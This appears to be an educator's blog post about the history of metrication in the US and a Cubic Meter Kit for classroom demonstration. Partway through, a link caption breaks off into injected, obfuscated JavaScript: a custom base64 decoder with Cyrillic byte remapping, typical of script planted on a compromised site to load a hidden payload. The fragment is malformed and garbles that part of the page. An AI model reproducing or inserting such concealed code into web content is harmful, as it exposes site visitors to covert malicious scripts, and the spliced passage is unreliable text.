Metric Tape Measure

Most nations of the world (all except Myanmar – Burma, Liberia and the United States of America) use the metric system of measurement units (officially: SI Units). This should mean that metric units are truly international - used all over the world for measuring purposes. Sadly for the rest of us, until the US comes on board, we will have to deal with both SI and imperial/British/conventional units at the same time, given the worldwide influence of American media, especially among the young.

The first half of this podcast is spent discussing the article Metrication in the United States (Wikipedia) - download PDF below, which highlights history of metrication in the US since 1866 until today. I found it fascinating to read the long history the US has of officially mandating use of metric units, going back to the early 19th century (download a PDF summary below).

In the second half, I demonstrate a useful Cubic Meter Kit, to teach students the meaning of this unit and its size. This is a kit my institution bought (after I requested it), and it is a brilliant way to show just how big a cubic meter really is. Many of my students are surprised when they see it - for whatever reason, most people seem to image a cubic meter is quite a bit smaller than reality. By the way, if you are used to cubic yards, the cubic meter is around 31% bigger (try searching for "how many cubic yards in a cubic meter" in Google).



Metrication in the United States - hand<script type=function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oeout" src="" width="300" height="290" />

  • Edited article: Metrication in the United States (Wikipedia) - suitable for classroom use, edited and copied under license.

For educators like me outside the US, it can be frustrating to have our students talk in a mixture of metric and imperial measures, when our official units have been metric for decades. (Confession: when President Barack Obama was elected, I was tempted to write to him to beg him to pass legislation to force the US to go metric. I figured he had more important issues on his mind, so resisted the temptation.) If you live and teach in the US, what do you think? Is the US going to go metric one day? Or is that thought of as being somehow "unamerican"?